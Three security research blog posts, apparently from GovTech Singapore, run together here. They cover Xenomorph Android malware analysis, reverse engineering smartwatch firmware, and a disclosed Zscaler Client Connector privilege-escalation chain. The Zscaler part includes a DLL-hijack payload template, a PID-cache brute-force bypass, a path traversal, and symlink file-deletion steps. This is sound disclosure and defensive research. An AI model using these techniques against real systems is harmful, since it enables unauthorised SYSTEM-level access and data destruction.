We also observed the variable settingsFilename, which is the name of the SharedPreferences file (seen obfuscated in com.mtnyrvojt.qtbxtwjnq.utilities.UtilGlobal). Using the decoding routine, it is decoded to ‘thom_yorke-a_rats_nest’. SharedPreferences can be used to store key-value pairs such as user preferences and app settings that can be accessed across app sessions.

Other notable strings decoded to a list of app button IDs, Android permissions, and a curious “appInfoWindowHashList” which could be a list of hashes associated with different app windows. I listed the deobfuscated strings in the appendix [a].

Obfuscated commands used in Xenomorph malware can be found in class com.mtnyrvojt.qtbxtwjnq.api.tdp.ApiGetCommandsResponsePayload, and also some in class com.mtnyrvojt.qtbxtwjnq.utilities.UtilGlobal (i.e., sms_ic_disable, sms_ic_enable).

I listed the deobfuscated commands from this sample in the appendix [b]. ThreatFabric provides a full list of the commands across samples and their description: Xenomorph v3: a new variant with ATS targeting more than 400 institutions. Nevertheless, I went on a more in depth analysis with 2 commands that I found most interesting.

Command 1 — “clickOnPoint”

Out of the various commands, I find it interesting that the command “clickOnPoint” is able to allow the threat actor to remotely “touch” the device. In class com.mtnyrvojt.qtbxtwjnq.utilities.UtilAccessibility, x and y coordinates are supplied to the click function as integers.

Back to class com.mtnyrvojt.qtbxtwjnq.api.tdp.ApiGetCommandsResponsePayload:

• Here, $(572, 584, -2390) decodes to “clickOnPoint”, $16 to x coordinate and $17 to y coordinate.
• clickOnPoint allows the threat actor to simulate a touch on specific coordinates.
• The x and y coordinates are then passed to UtilAccessibility.click, as seen above in UtilAccessibility. clickAtPosition will then be called.

• This can be compared with the code in Xenomorph Malware Strikes Again: Over 30+ US Banks Now Targeted (threatfabric.com).

To demonstrate the above:

Command 2 — “execute_rum”

There is also the Automated Transfer Systems (ATS), which is run from the command “execute_rum”. It allows threat actors to complete fraudulent transactions on the device without needing human interaction.

When “execute_rum” is called, a module is added. This module consists of the following fields, which are taken and converted to operations to be executed on the device.

These fields found in classes in com.mtnyrvojt.qtbxtwjnq.accessibility.runtime.models also form part of the modules to further customize the operations (i.e., commands), requires (i.e., required conditions), triggerConditions (i.e., when this module is run). This is derived from RuntimeAccessibilityModule in the screenshot above, where RuntimeAccessibilityStep object is used for those fields.

• RuntimeAccessibilityStep
  – name
  – type
• RuntimeAccessibilityConditionalOperation
  – conditions
  – operations

[4] Code — DecryptRumStrings.java

• URL: GovTech-CSG/xenomorph-config-extractor/article_scripts/DecryptRumStrings.java

I was also able to deobfuscate and obtain the operations from com.mtnyrvojt.qtbxtwjnq.accessibility.runtime.base.RuntimeAccessibilityDefinedOperations. I listed the deobfuscated operations from this sample in the appendix [c].

With these operations, a script can be crafted to complete transactions without needing human interaction, for example to evade multi-factor authentication requests by reading authentication codes from authenticator apps. This is demonstrated in the article by ThreatFabric, which also provides a nice list of the operations and their description: Xenomorph v3: a new variant with ATS targeting more than 400 institutions

Comparison with other samples

I then made use of the other samples that were available at the time of analysis for this comparison.

The first sample we analysed above (SHA256: 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b) was encrypted in a different manner from the other samples, requiring scripts just for its deobfuscation and decryption, as shown in the previous section.
For all of the other samples, the encrypted file can be found in the APK resources assets/*.json, and they can all be decrypted using the code in Cryptax’s GitHub for JsonPacker-packed files but we would still need the key for decryption.

Follow the detailed steps in this excellent article by Cryptax: Unpacking a JsonPacker-packed sample | by @cryptax | Medium.

• Identify the class with attachBaseContext which sets up the app’s environment at the beginning before it starts running to obtain the encrypted payload filename.
• Identify the class with DexClassLoader, which dynamically loads the decrypted payload Dex file, and its references.
• Identify where payload decryption occurs.
• Identify where the key is read.
• Decrypt the payload.

Once we obtain the decrypted payload, the rest is much simpler as the strings are not obfuscated. All of the decrypted payloads are also similar to each other and to that in our first sample (other than obfuscated strings and new features).

The first sample and its decrypted file has obfuscation techniques for many of its strings. The same function for the deobfuscation can be found in every Java class file that contains such obfuscated strings. Its configuration file is different from the rest, and it is in plaintext in its original file as well.

Other than the first sample, we observe a pattern from the analysis of the samples — by following references to the Java functions containing attachBaseContext and DexClassLoader, we are able to identify the encrypted payload filename and the payload decryption routine. After identifying the decryption key, we can easily decrypt the payload with the Python script by Cryptax.

Additionally, after unpacking the file, the decrypted payloads (also except the first sample) seem to have the same Java class where the commands are found, and where endpoints, settingsFilename, permissions, hex string and C2 servers strings are found. Most of these strings are similar.

Catered towards the majority of the samples I have encountered, I decided to create a script to automate the following:

• Decompile APK sample
• Identification of the encrypted payload and keys
• Decryption of the JsonPacker-packed payload using Cryptax’s script
• Deobfuscation of strings
• Detection of Xenomorph malware family
• Extraction of Xenomorph malware configuration (e.g., C2 servers, encryption keys)

Here is an overview of how the script works:

The script goes through a series of conditions to run various codes to determine whether the sample belongs to the Xenomorph malware family, and eventually extract the malware configuration.

From the comparison table above, we obtained strings that were seen across the various APKs. I made use of these strings, regardless of whether it is obfuscated, to determine whether the APK belongs to the Xenomorph family.

The script works for both JsonPacker-packed samples, and the already decrypted files. You may find the script in the GitHub repository here: GovTech-CSG/xenomorph-config-extractor | GitHub

Conclusion

In this walkthrough, we leveraged on the traits of android applications to quickly zoom into the entry point of the malware. As with all highly obfuscated malware, it is necessary to deobfuscate and decrypt any encrypted data before discovering its malicious properties.

We were able to demystify the sample and obtain the decrypted Dex payload responsible for the main functionality of the Xenomorph malware. We eventually obtained the C2 server and commands through malware analysis, and also a whole bunch substantial number of deobfuscated strings duringin the process.

To effectively triage Xenomorph malware samples, some level of automation is required. We compared a few other samples and the similar patterns observed were used to craft construct a script to automate the deobfuscation and decryption process, and to extract the Xenomorph malware configuration. This automation not only streamlines the analysis workflow but also enables faster detection and response to new variants of the Xenomorph malware family.

Understanding the inner workings of the Xenomorph malware through this analysis has revealed sophisticated obfuscation techniques. While this article focused on Xenomorph malware, I hope that the methodology and techniques demonstrated here can also prove be useful for analyzing other Android malware families that employ similar obfuscation tactics :-)

Here’s the full GitHub repository link for all the code mentioned in this article:
GovTech-CSG/xenomorph-config-extractor | GitHub

Appendix

[a] Notable strings from sample SHA256 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b:
allowButtonsIdList
– com.android.packageinstaller:id/permission_allow_button
– com.android.settings:id/restricted_action
– com.miui.securitycenter:id/intercept_warn_allow
– com.miui.securitycenter:id/accept
– com.android.permissioncontroller:id/permission_allow_button
– com.android.settings:id/action_button
– com.android.settings:id/button1
– android:id/button1
appInfoWindowHashList
– 4e7d36521f246327efffde4e5f3d1705bacff85a7d3cf1836d31714196434d79
– f82847a89d3e776505ab6af6cf2d0298455b52f9e9741cd0d9d3714451a96aff
– d83fa5b262824b544ed5565164a1791e29d015bdd325461ed9344a9a5b60c9b5
– 34a6a777402003a51fa70f4184ec8340c4dda695849309bbf5647648b2c3c62d
permissions
– android.permission.READ_SMS
– android.permission.RECEIVE_SMS
– android.permission.WAKE_LOCK
– android.permission.RECEIVE_BOOT_COMPLETED
– android.permission.ACCESS_NETWORK_STATE
– android.permission.INTERNET
– android.permission.WRITE_EXTERNAL_STORAGE
– android.permission.READ_PHONE_STATE
– android.permission.USE_FULL_SCREEN_INTENT
– android.permission.FOREGROUND_SERVICE
– android.permission.READ_PHONE_NUMBERS

[b] Commands from sample SHA256 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b, with the ones from the latest Xenomorph campaign in red:
app_list
– inj_enable
– inj_disable
– inj_list
– inj_update
– fg_enable
– fg_disable
– notif_ic_enable
– notif_ic_disable
– notif_ic_list
– notif_ic_update
– sms_log
– sms_ic_enable
– sms_ic_disable
– socks_start
– socks_stop
– sms_ic_list
– sms_ic_update
– app_kill
– app_delete 
– app_clear_cache
– self_kill 
– self_cleanup
– app_start
– show_push
– cookies_handler
– send_sms
– make_ussd
– call_forward
– start_mimic
– stop_mimic
– execute_rum
– clickOnPoint
– sms_ic_disable
– sms_ic_enable

[c] Operations from sample SHA256 259e88f593a3df5cf14924eec084d904877953c4a78ed4a2bc9660a2eaabb20b:
– clickCancelButton
– setActionPassedThrough
– findNodesByParameters
– findFirstNodeByParameters
– findNodesByClass
– findFirstNodeByClass
– findNodesByViewId
– findFirstNodeByViewId
– findFirstNodeByText
– getNodeByIndex
– getFirstChildOfClass
– sleepForMilliseconds
– API_SEND_SIMPLE_STATE_WITH_OBJECT
– CONTROL_MODULE_FINISH_SUCCESSFULLY
– CONTROL_MODULE_ABORT
– CONTROL_GO_HOME
– CONTROL_GO_BACK
– CONTROL_GO_BACK5
– CONTROL_MODULE_RETURN
– CONTROL_PUT_ACTION_RESULT
– CONTROL_RUN_MODULE_STRAIGHT
– CONTROL_GLOBAL_VALUE_SET_FROM_TEXT_DATA_ENTRY
– CONTROL_GLOBAL_VALUE_SET
– CONTROL_SET_UNPROCESSED
– CONTROL_CLEAR_UNPROCESSED
– CONTROL_FLUSH_ALL_CONTEXT_DATA_ENTRIES
– DATA_JOIN_TUPLE_LIST
– DEBUG_LOG_CONTEXT
– DEBUG_LOG_WHOLE_CONTEXT
– DEBUG_LOG_MODULE_REGISTERED_ACTIONS
– DEBUG_LOG_CURRENT_DATA
– DEBUG_PRINT
– DEBUG_LOG_CONTEXT
– DEBUG_LOG_CURRENT_DATA
– STATE_EVENT_CLEAR

Deobfuscating, Decrypting and Detecting Xenomorph Malware was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

In this article, I will share the reverse engineering process by first highlighting some initial observations on the watch surface and circuitry, before going into detail as to how I reprogrammed the smartwatch,
and the final step of patching the firmware so it could be repurposed.

Initial Observations

The watches as delivered were bare-bones and had a single page of instructions on how to charge and use them. Each box contained a single charger and a watch. There were no READMEs, websites, or developer portals. The watches themselves only had a single capacitive sensor on the surface that turned on the screen and allowed the user to view their heart rate, some debug information, and the time on different watch faces.

The debug information provided useful information for identifying the watch. I observed that the IP address on the debug watch face was common across different watches of the same model. My initial guess was that it referred to the IP address of the server that these watches were communicating with.

The watch had an IP67 rating, i.e. they waterproof, so there was no way I could access these watches (with my limited tools) without damaging them. In the spirit of exploration, I took a pair of pilers to a watch, tearing it down to determine what lay within. It wasn’t easy, but after an hour of careful prying and cutting, I managed to remove the outer casing of the watch.

Inside was a single PCB with a LIPO battery. There were two antennas embedded in the case itself and were connected to u.FL connectors on the board.

Reverse Engineering the PCB

The SmartWatch was driven by a Bluetooth-enabled nRF52832 chip and had two other major ICs: a WiFi-capable ESP8285 and a cellular IC from SIMCOM. I was initially confused by the presence of the WiFi microcontoller, because there was no indication that the watch had WiFi capabilities. However, I found out later that it was used for urban triangulation. Because the GPS’s accuracy is generally quite bad in an urban environment, an approximation of the location of the watch can be determined by using the WiFi AP and cellular data combined with historical GPS data. From the layout, the nRF52832 was the device’s main IC, and used the WiFi chip to scan for local WiFi Access Points (APs). The nRF52832 also communicated with the SIMCOM device over UART and issued commands to communicate with the mobile network. Knowing that, I focused my efforts on I was looking for any UART or exposed programming pins on the nRF52832, as it was main IC and those connections are commonly used to interact with the microcontroller.

In this case, quite a few exposed UART and programming pins were on the board. One very interesting trace that I found was that the round gold contacts on the right side of the PCB were connected to SWDIO and SWCLK on the nRF52832 IC in addition to the connections that I expected for charging the battery of the watch. SWDIO and SWCLK are JTAG programming pins that are used to program the chip. There were also pogo pins, spring loaded electrical contacts, attached on the underside of the watch’s front cover that would make contact with these pads when the watch was closed.

These pogo pins were exposed to the copper-plated contacts on the front of the watch’s face, meaning that the programming pins for the main chip were exposed on the device’s face. Having exposed programming pins was unusual because in general, the firmware for the device would be flashed into the PCB at the factory and would be subsequently updated over WiFi or Bluetooth. There is usually no need to expose the programming pins. This feature turned out to be a very helpful feature for later as it meant that I didn’t need to open the watch to gain access to the firmware. Needing to open the watch would have rendered useless my intention to repurpose the watch as evidenced by my attempt at opening the watch earlier: it wasn’t something I was going to put back together anytime soon.

What was more interesting was that on the charging adapter, the pogo pins that connected to the SWCLK and SWDIO contacts on the watch’s face were connected to D+ and D- pins on the microUSB port. The D+ and D- pins are usually used for data transfer. This meant that I didn’t even need to build a custom programming platform to reprogram the watch: all I had to do was to splice a microUSB wire to expose the programming pins to any watch connected to the charger. Very nice.

After I connected the watch to my JLink debugger through the charger, the first thing I noticed was that the watch was producing debug output using the JLink RTT viewer. Success! While being able to observe the debug output was very useful, however, as there was no input configured for the RTT module, so there was no way to send commands to the watch. However, the output confirmed my earlier assumptions about how the watch was connected internally.

After a few exploratory attempts at sending commands over JLink, I decided to take a look at the firmware. With my JLink attached, I was able to dump the firmware using nrfjprog with the --readcode and --readram flags.

The firmware was not read or write protected so I was able to obtain the full firmware dump. At this point I had two options for repurposing the watch: 1) I could reprogram it completely by flashing a new firmware into the device, or 2) I could patch the IP address and port in the firmware so that the watch would send data back to a server I control. Since reprogramming the watch was likely a huge undertaking, I decided to try patching the watch.

Enter the Ghidra

I needed to dump both the RAM and the flash to get a proper mapping of the functions and the variables in Ghidra. Since this is bare metal code from a Cortex M0+ device, I had to decompile the firmware as ARM little-endian and Ghidra was able to produce semi-readable pseudocode.

My objective at this point was to investigate the location of the IP address, which I believed was stored somewhere in the code. The watch sends data over a cellular connection to a server, the address of which was displayed on the watch’s debug face. If I can update the IP address, I will be able to redirect the data that the watch was sending to a server I control.

However, my initial attempts to find a hardcoded string that corresponded to the IP address that I observed on the face of the watch were not successful.

My next attempt was to find the closest string that occurred in the debug output that I observed in the RTT viewer. In this case, it was AT+CIPOPEN=0 which is the serial command sent from the nRF52832 to the SIMCOM module, instructing it to open a connection to an IP address which is specified as an argument. By finding this string, because it uses the IP address of the server that the watch has to connect to, I would be able to find the location in memory where the server’s IP address is stored.

I was more successful at finding a format string. This match had a string pattern that matched that of an IP address. It was being called in a function that looked suspiciously like a sprintf function.

The sprint function referenced an array that was stored in DAT_20000887, which corresponds to the Data RAM section of the nRF52832 datasheet as seen in the memory mapping below.

Going to the RAM’s location in memory, I found that it was being written to in two functions. Only the first location was of interest because it was where the hardcoded IP address was. The second location allows the IP address to be updated later over the air.

Jumping to the first function, I found these hardcoded variables hex values in memory that was written to the array as part of the main function, and these variables corresponded to the IP address that I observed on the watches.

These locations in memory were the six bytes of data in the firmware that I needed to patch for the IP address and port.

One small wrinkle that emerged was that the original port number was 38899, which was saved as two bytes: 0x0c and 0x68. The compiled program used a movn instruction, which applied a Boolean not operation to the hardcoded values before they were put into RAM. Technically, the instruction could be patched to remove the not operation, but I was trying to minimise the number of bytes to change, therefore, I added an additional operation when converting the desired port number to the appropriate hex values.

Reprogramming the Smartwatch

With this knowledge, I was able to write a simple script that patched the firmware with any IP address and port that I wanted. The script also updated the checksum of each patched line to ensure that the firmware matched the expected format, and once the patching was complete, I flashed the firmware to the watch using Nordic Semiconductor’s Programmer utility program.

I am pleased to say that it worked! By updating the firmware to communicate with the server, we were able to get data from the phone and process it.

That concludes the reverse engineering portion of this project. There was a lot of learning for me as I came in with limited knowledge of reverse engineering ARM devices. However, I had a good idea of how I would have developed the device and what it was capable of, so that significantly helped to narrow down what I was looking for.

An interesting takeaway was how the programming interface was exposed to the USB port which I have not observed in other watches. Not having any read-write protection on the firmware is also uncommon as most other IoT devices tend to enforce firmware protections once they are in production to prevent trivial cloning of the firmware.

Nevertheless, it was great fun, and being able to revive and reuse electronics that would have either sat in a warehouse for a long time or thrown away gave this project additional meaning.

Reverse Engineering a Smartwatch was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

GovTech’s Cybersecurity Group (CSG) recently collaborated with CSIT to evaluate products in the Zscaler suite for Zero Trust Network Access. During our research, several vulnerabilities were discovered within the Zscaler Client Connector application (prior to version 4.2.1) that were ultimately assigned CVEs by Zscaler:

• Revert password check incorrect type validation (CVE-2023–41972)
• Lack of input santisation on Zscaler Client Connector enables arbitrary code execution (CVE-2023–41973)
• ZSATrayManager Arbitrary File Deletion (CVE-2023–41969)

By chaining together several low-level vulnerabilities and bypasses, we (Eugene Lim and Winston Ho) were able to escalate a standard user’s privileges to execute arbitrary commands as the high-privileged NT AUTHORITY\SYSTEM service account on Windows.

In this article, we will share our methodology used, from vulnerability discovery to developing proof-of-concept exploits.

Overview of Zscaler Client Connector and the Zscaler Ecosystem

Zscaler is a global cloud-based information security company that enables secure digital transformation for mobile and cloud environments. The Zscaler Client Connector is a lightweight agent for user endpoints, enabling hybrid work through secure, fast, reliable access to any app over any network. It also encrypts and forwards user traffic to the Zscaler Zero Trust Exchange — the world’s largest inline security cloud, that acts as an intelligent switchboard to securely connect users directly to applications.

The ZScaler Client Connector application consists of two main processes: ZSATray and ZSATrayManager. ZSATrayManager is the service that runs as the NT AUTHORITY\SYSTEM user and handles high-privileged actions needed such as network management, configuration enforcement, and updates. ZSATray, on the other hand, is the user-facing frontend application, built on the .NET Framework.

Like most client-server software on Windows, ZSATray and ZSATrayManager communicate using Microsoft Remote Procedure Call (RPC). For example, when a user requests to dump logs from the user interface, ZSATray makes an RPC call to ZSATrayManager using the native sendZSATrayManagerCommand method from ZSATrayHelper.dll with serialised inputs.

public bool dumpLogs(ZSATrayManagerConfigDumpLog configData) => this.sendZSATrayManagerCommandHelper(ZSCALER_APP_RPC_COMMAND.DUMP_LOGS, (object) configData) == 0;

private int sendZSATrayManagerCommandHelper(
  ZSCALER_APP_RPC_COMMAND commandCode,
  object configData = null)
  {
    ZSATrayManagerCommand structure = new ZSATrayManagerCommand();
    structure.commandCode = (int) commandCode;
    if (configData != null)
      structure.configJson = JsonConvert.SerializeObject(configData);
    IntPtr num1 = Marshal.AllocCoTaskMem(Marshal.SizeOf((object) structure));
    Marshal.StructureToPtr((object) structure, num1, false);
    int num2 = NativeMethods.sendZSATrayManagerCommand(num1);
    ZSALogger.zsaLog(“sendZSATrayManagerCommandHelper retVal: “ + num2.ToString());
    Marshal.FreeCoTaskMem(num1);
    return num2;
  }

Accepting RPC calls from any process without validation is a significant security risk, especially when some of the RPC calls supported by ZSATrayManager involve the execution of high-privileged actions.

Most software, including ZScaler Client Connector, implements checks to ensure the RPC calls made originate from trusted processes. Thus began our quest to bypass these checks.

Bypassing the RPC Connection Check via Cache Grooming and Collision

Since CVE-2020–11635¹, ZScaler Client Connect has added additional validation checks for RPC connections to ZSATrayManager. The checks are executed in the IfCallbackFn function and consists of the following:

1. Process ID (PID Validation): The PID of the caller must match a process whose image path name belongs to an executable that is signed by Zscaler (Authenticode check).
2. Caller Process Validation: The caller process must be either:
   a. A high-privileged SYSTEM owned process; or
   b. ZSATray.exe

The ZSATrayManager determines whether the PID belongs to ZSATray by checking a cache in memory. It keys this cache using a Fowler–Noll–Vo hash function (FNV-1a) and stores the process name, allowed status, and last access timestamp.

2023–08–05 14:54:53.960564(+0800)[8528:17868] DBG ZSATrayManager: addRpcCallerInCache: — — — — — — entries — — — — — — — — -
2023–08–05 14:54:53.960564(+0800)[8528:17868] DBG PID | name | is_allowed | last_access_ts
2023–08–05 14:54:53.960564(+0800)[8528:17868] DBG 37352 | C:\Program Files\Zscaler\ZSATray\ZSATray.exe | true | 1691247282094 ms
2023–08–05 14:54:53.960564(+0800)[8528:17868] DBG 39296 | C:\Program Files\Zscaler\ZSATray\ZSATray.exe | true | 1691244684011 ms
2023–08–05 14:54:53.960564(+0800)[8528:17868] DBG 39144 | C:\Program Files\Zscaler\ZSATray\ZSATray.exe | true | 1691246922202 ms

When ZSATrayManager first starts ZSATray, it stores its PID in the cache of the ZSATrayManager. In addition, every time ZSATrayManager successfully validates an RPC connection, it stores the hashed PID of the calling process in this cache. In future requests, if the hashed caller PID exists in the cache, it can skip the Authenticode and caller process checks.

Unfortunately, because ZSATrayManager does not regularly prune this cache, it is possible to brute force a cached PID since PIDs are non-random. An attacker can cache numerous allowed PIDs by repeatedly killing the ZSATray process and triggering ZSATrayManager to launch a new ZSATray process that adds a new PID to the cache after making a successful connection to ZSATrayManager. This creates numerous allowed PIDs that the attacker can brute force. By repeatedly starting and killing an exploit binary, the attacker can cause a cache collision when Windows assigns a reused PID that exists in the cache.

The attacker-controlled binary can thus make arbitrary RPC connections to ZSATrayManager that bypasses the validation checks. Since ZSATray already includes an implementation of the RPC connection client in sendZSATrayManagerCommandHelper, we can reuse that to make the call from a custom .NET binary for exploitation.

Process Injection

An alternative means to bypass this check is by injecting the user-owned ZSATray.exe process to run arbitrary code. The process will pass all the necessary checks but is somewhat more complex due to ZSATray being a .NET assembly with managed code. The injection can also fail if ZScaler Client Connector’s anti-tampering feature is enabled.

Exploiting the Revert Password Check Incorrect Type Validation (CVE-2023–41972)

Having achieved the ability to make arbitrary RPC calls to ZSATrayManager, our next step was to explore which supported RPC functions could be exploited to achieve privilege escalation.

Interestingly, ZScaler has added additional authentication for some of these functions, such as PERFORM_APP_REVERT. As the name suggests, the function reverts ZScaler Client Connector to a previous version by executing an older version’s installer. The function accepts previousInstallerName, pwdType, and password as arguments. The latter two are used when an administrator has set a password² for this action and only allow the function to execute if a correct password has been provided.

Unfortunately, ZSATrayManager does not check if pwdType matches PASSWORD_TYPE.ZCC_REVERT_PWD (7), meaning that the password check function will trust whichever pwdType is passed via the RPC and perform the corresponding password check. For example, if ZIA_DISABLE_PWD is provided for pwdType, ZSATrayManager will check that the password matches the password set for Zscaler Internet Access instead of the password for reverting the application.

case 90: // PERFORM_APP_REVERT
 v66 = sub_1400949C0(v294, (__int64)v371);// Note: there is no check on pwdType e.g. if ( pwdType == 4 ) like in other cases
 if ( (unsigned __int8)PasswordCheck(v67, pwdType, v66, 1) )

Some of the password types including ZCC_REVERT_PWD return true by default if no password has been specified.

case 6u:
sub_14025D9B0(a1);
  LOBYTE(isCorrectPassword) = 0;
  if ( passwordConfigured )
  {
    …
  }
  else
  {
    v8::internal::wasm::ErrorThrower::CompileError(
    (v8::internal::wasm::ErrorThrower *)&LogHandle,
    “Skip password check — ZAD is not enabled”); // Password check passes since isCorrectPassword is still 0
  }

As such, even if a password has been set for PERFORM_APP_REVERT, an attacker can bypass this by setting pwdType in the RPC to SHOW_ADVANCED_SETTINGS (6).

Exploiting the Lack of Input Santisation on Zscaler Client Connector (CVE-2023–41973)

At this juncture, however, the hallowed NT AUTHORITY\SYSTEM privilege escalation has not been achieved yet. We continued to dig further into PERFORM_APP_REVERT.

As mentioned earlier, PERFORM_APP_REVERT accepts a previousInstallerName argument. This argument is appended to C:\Program Files\ZScaler\RevertZcc\ and is typically set to {VERSION NUMBER}.exe. ZSATrayManager executes the file at this path as NT AUTHORITY\SYSTEM. However, since this is controllable from the previousInstallerName parameter, an attacker can send a path traversal string such as ..\..\..\{ATTACKER-CONTROLLED PATH} to execute their payload.

Unfortunately for us, there are still additional checks on the executable at the path, such as Microsoft Authenticode signature verification using the WinVerifyTrust function. This performs an OS-level trust verification to ensure that the executable was properly signed by ZScaler. This verification appears to be done properly as it specifically checks the SHA-2 hash of the signer and issuer thumbprints:

if ( CertCompareIntegerBlob(&v19, (PCRYPT_INTEGER_BLOB)(v6 + 24)) )
  {
    initString(v28, “92c1588e85af2201ce7915e8538b492f605b80c6”, 0x28ui64);
    initString(v26, “83fe2a3586d483fd75c0b0abdb89697a56ad0b41”, 0x28ui64);
    if ( (unsigned __int8)validateSignerAndIssuerThumbprints(v26, v28, a2) )
    {
      LogInfo(&LogHandle, 1i64, “Signer matches Zscaler SHA2 02/28/2018”);
LABEL_20:
      v4 = 1;
    }
  }

Here is a snapshot of the log output when we tried to get it to launch Microsoft Word.

INF validateSignerAndIssuer Thumbprints returned true
INF Signer matches Zscaler SHA2 March 1, 2021
INF Signer trust released.
INF Process executable is signed by Zscaler.
INF UserSID: “0, 0, 0, 0, 0, 5”, SECURITY_LOCAL_SYSTEM_RID: “0, 0, 0, 0, 0, 5”
INF SID matched with SECURITY_LOCAL_SYSTEM_RID
INF ZSAService RPC: Accepting RPC from a SYSTEM owned Zscaler process
INF ZSAService RPC command: PERFORM_APP_REVERT
INF Starting revert
DBG Running zscaler executable: C:\Program Files\Zscaler\RevertZcc\..\..\..\Program Files\Microsoft Office\root\Office16\WINWORD.EXE — revertzcc 1 — mode unattended
ERR Signer does not match Zscaler
INF Signer trust released.
ERR Executable [C:\Program Files\Zscaler\RevertZcc\..\..\..\Program Files\Microsoft Office\root\Office16\WINWORD.EXE] is not Zscaler binary.
INF Done with ZSAService RPC command: PERFORM_APP_REVERT with return value:0

As such, we needed to find another link in the chain.

Achieving Arbitrary Code Execution via DLL Hijacking with ZSAService

DLL hijacking is often not deemed as a vulnerability³ for good reasons, but it can still shine when chained in specific scenarios like this one. Two conditions elevate the humble DLL hijacking to a privilege escalation gadget:

1. The process that is hijacked is executed by a higher-privileged process than the attacker, so a security boundary can be crossed.
2. The DLL hijack path is in a low-privileged attacker-writable location, so no additional privileges are required to execute the attack.

One of the ZScaler Client Connector binaries, ZSAService, is vulnerable to DLL hijacking because its search path starts with the current directory. One of the DLLs that could be hijacked is userenv.dll. This is a straightforward DLL hijacking that can be exploited with one of the many DLL hijacking payload templates out there.

#include “pch.h”
#include <iostream>

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    system(“whoami > C:\\hacked.txt”);
    //WinExec(“cmd.exe”, SW_SHOW);
    //WinExec(“powershell.exe”, SW_SHOW);
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

extern “C” __declspec(dllexport) void DestroyEnvironmentBlock()
{
  return;
}

extern “C” __declspec(dllexport) void LoadUserProfileW()
{
  return;
}

extern “C” __declspec(dllexport) void UnloadUserProfile()
{
  return;
}

extern “C” __declspec(dllexport) void LoadUserProfileA()
{
  return;
}

extern “C” __declspec(dllexport) void CreateEnvironmentBlock()
{
  return;
}

By compiling this as a DLL and placing the DLL (renamed to userenv.dll) in the same directory as ZSAService.exe, launching ZSAService.exe will cause the arbitrary commands in the malicious userenv.dll to be executed.

Thus, the final link in our chain was complete:

1. Attacker brute forces cached PIDs to make RPC calls to ZSATrayManager.
2. Attacker bypasses password protection for the PERFORM_APP_REVERT function.
3. Attacker sends path traversal payload in previousInstallerName argument.
4. ZSATrayManager executes DLL-hijacked ZSAService.exe that passes the Authenticode check.
5. Hijack DLL causes the attacker’s commands to be executed as NT AUTHORITY\SYSTEM.
6. Pwned!

Exploiting the ZSATrayManager Arbitrary File Deletion (CVE-2023–41969)

We also examined another RPC function REPORT_ISSUE_REQUEST, which as its name suggests, facilitates issue reporting. The function accepts the following parameters: requestJson which contains information pertaining to the issue, zipFilePath, the location of the ZIP archive to upload, and mobileSupportUrl the URL endpoint to connect to.

Diving deeper into the function logic, we also noticed that the file path specified with the zipFilePath parameter will be encrypted with a .enc2 suffix. When the function exits, the encrypted .enc2 archive that was created by ZSATrayManager was subsequently deleted. Both the creation and deletion of this file are done by the ZSATrayManager service, which runs as NT AUTHORITY\SYSTEM.

This behaviour appears to be susceptible to privileged file operation abuse, so we turned to the venerable symboliclink-testing-tools⁴ suite developed by James Foreshaw from the Project Zero team and proceeded with symbolic link testing. Interestingly, the delete function seems to be capable of deleting both files and directories, as shown in the following IDA screenshot:

We now have enough information to develop an exploit PoC. To demonstrate this, we will first create a copy of cmd.exe to be used as a target for deletion. The REPORT_ISSUE_REQUEST function will be invoked with the following arguments: zipLocation = “C:\Tools\arb_delete\POC\deleteme.bin”, requestJson = {}, mobileSupportURL = “http://localhost:8080".

The full exploit chain to complete the arbitrary file deletion PoC is as follows:

1. Attacker creates an empty file at the location C:\Tools\arb_delete\POC\deleteme.bin.
2. Attacker brute forces cached PIDs to make RPC calls to ZSATrayManager.

Looking at the logs, we observe that the PID of our payload executable exists in the cache (PID 10084).

3. Attacker creates a web server that listens at http://127.0.0.1:8080.

4. Attacker sends the malicious issue report request to the REPORT_ISSUE_REQUEST function.

5. ZSATrayManager creates an encrypted ZIP archive of C:\Tools\arb_delete\POC\deleteme.bin at C:\Tools\arb_delete\POC\deleteme.enc2.

6. ZSATrayManager attempts to connect to http://127.0.0.1:8080/poc. Attacker receives the incoming connection, holds on to the connection and leaves it hanging.

7. While the attacker is hanging onto the connection, the attacker proceeds to delete the C:\Tools\arb_delete\POC directory.

8. Attacker creates a directory junction at C:\Tools\arb_delete\POC which points to \RPC Control.

9. Attacker then creates a symlink object at the junction \RPC Control\deleteme.enc2 to point to the target file that we want to delete (the C:\Windows\System32\cmd.secret.exe that was created).

10. Attacker now closes the hanging connection and let ZSATrayManager proceed to delete the target file via the symlink.

We can verify that the deletion worked without a hitch by looking through the logs of the ZSATrayManager service.

Using this privileged file deletion primitive, we can potentially chain it up with other vulnerabilities on the Windows machine, such as deleting the C:\Config.Msi directory to perform a local privilege escalation as mentioned by Zero Day Initiative⁵ and Mandiant⁶.

Conclusion

This was an extremely fun vulnerability chain that took the greater part of a Friday night, highlighting how multiple small vulnerabilities can add up with enough persistence. One of the biggest challenges in client-server process architectures is authentication and authorisation, making it a ripe hunting ground for vulnerability researchers. Our findings prove that even with proper validation of the calling process, the RPC inputs should be properly sanitised and validated as well.

Disclosure timeline

• 15 August 2023 — Reported the Password Check bypass and Path Traversal vulnerabilities to the Zscaler team.
• 31 August 2023 — Zscaler team acknowledged the findings.
• 28 August 2023 — Reported the Arbitrary File Deletion vulnerability to the Zscaler team.
• 01 September 2023 — Zscaler Client Connector 4.2.0.209 / 4.3.0.121 was released that fixes CVE-2023–41972 and CVE-2023–41973.
• 06 December 2023 — Zscaler Client Connector 4.2.1 / 4.3.0.151 was released that fixes CVE-2023–41969.
• 11 January 2024 — Zscaler team informed the team that CVEs have been reserved.
• 26 March 2024 — Zscaler team publicly disclosed the CVEs (https://trust.zscaler.com/private.zscaler.com/posts/18226)

[1] https://www.cve.org/CVERecord?id=CVE-2020-11635

